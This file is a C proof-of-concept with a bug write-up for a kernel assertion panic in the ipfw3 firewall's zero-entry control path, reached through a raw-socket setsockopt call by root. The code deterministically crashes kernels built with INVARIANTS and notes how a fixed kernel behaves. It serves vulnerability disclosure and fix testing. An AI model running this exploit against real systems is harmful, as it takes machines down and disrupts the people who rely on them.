/*
 * DF-2576 PoC — ip_fw3_ctl_zero_entry KKASSERT(start_rule==NULL) panic.
 *
 * Bug (sys/net/ipfw3/ip_fw3.c ip_fw3_ctl_zero_entry, :904-944):
 *   When the caller passes a non-zero rulenum that matches an existing rule,
 *   line 932 sets  zmsg.start_rule = rule;   then netisr_domsg() runs
 *   ip_fw3_zero_entry_dispatch() (:876) on every CPU.  The dispatch NEVER
 *   clears zmsg->start_rule (it only touches zmsg->rulenum / log_only).  So
 *   after netisr_domsg() returns, the unconditional assertion at :939
 *
 *       939:  KKASSERT(zmsg.start_rule == NULL);
 *
 *   fires on every INVARIANTS-enabled kernel (default X86_64_GENERIC ships
 *   options INVARIANTS), panicking the system.  ipfw3_zero_entry_dispatch is
 *   simply missing the  zmsg->start_rule = NULL;  cleanup.
 *
 * Reach:
 *   setsockopt(SOCK_RAW, IPPROTO_IP, IP_FW_X=49, payload) where
 *     payload = ip_fw_x_header{opcode=53(IP_FW_ZERO), pad=0} ++ int rulenum
 *   -> rip_ctloutput -> ip_fw3_sockopt -> ip_fw3_ctl(IP_FW_X) ->
 *      ip_fw3_ctl_x strips the 4-byte header, sets sopt_name=53 ->
 *      ip_fw3_ctl_sockopt case IP_FW_ZERO (:1158) -> ip_fw3_ctl_zero_entry.
 *
 *   The default rule (rulenum IPFW_DEFAULT_RULE = 65535, ip_fw3.h:87) is
 *   ALWAYS present in ctx->rules (ctx_init_dispatch, :1432-1433), so zeroing
 *   rule 65535 needs NO prior rule to be added.
 *
 * Privilege:
 *   Creating a raw IP socket requires caps_priv_check(SYSCAP_NONET_RAW)
 *   (root).  This is therefore a root-reachable deterministic DoS panic on
 *   the default INVARIANTS kernel.  (kldload ipfw3 also needs root.)
 *
 * Build:  cc -o poc poc.c
 * Run (root, after `kldload ipfw3 ipfw3_basic`):  ./poc
 *   expected on default kernel: KKASSERT panic ("zmsg.start_rule == NULL")
 *   expected on fixed kernel:    setsockopt returns 0, no panic.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#ifndef IP_FW_X
#define IP_FW_X        49          /* netinet/in.h */
#endif
#define OP_ZERO        53          /* IP_FW_ZERO  (ip_fw3.h / in.h) */
#define DEFAULT_RULE   65535       /* IPFW_DEFAULT_RULE (ip_fw3.h:87) */

struct ip_fw_x_header {
	uint16_t opcode;
	uint16_t _pad;
};

int
main(int argc, char **argv)
{
	int rulenum = (argc > 1) ? atoi(argv[1]) : DEFAULT_RULE;
	int s, rc;
	/* payload = 4-byte x_header + 4-byte int rulenum */
	unsigned char buf[sizeof(struct ip_fw_x_header) + sizeof(int)];
	struct ip_fw_x_header *xh = (struct ip_fw_x_header *)buf;
	int *rp = (int *)(buf + sizeof(*xh));

	printf("[*] DF-2576 ip_fw3_ctl_zero_entry KKASSERT panic\n");
	printf("[*] opcode=OP_ZERO(%d) rulenum=%d (default rule, always in ctx->rules)\n",
	       OP_ZERO, rulenum);

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) {
		perror("[-] socket(AF_INET,SOCK_RAW,IPPROTO_RAW)");
		printf("[-] raw socket requires root (SYSCAP_NONET_RAW). errno=%d\n", errno);
		return 2;
	}
	printf("[+] raw socket opened fd=%d\n", s);

	memset(buf, 0, sizeof(buf));
	xh->opcode = OP_ZERO;
	xh->_pad   = 0;
	*rp        = rulenum;

	printf("[*] setsockopt(IPPROTO_IP, IP_FW_X=%d, opcode=ZERO, rulenum=%d) ...\n",
	       IP_FW_X, rulenum);
	fflush(stdout);

	rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, sizeof(buf));
	if (rc < 0)
		printf("[~] setsockopt rc=%d errno=%d (%s)\n", rc, errno, strerror(errno));
	else
		printf("[!] setsockopt rc=%d (returned cleanly -> KKASSERT did NOT fire / FIXED kernel)\n", rc);

	close(s);
	return 0;
}
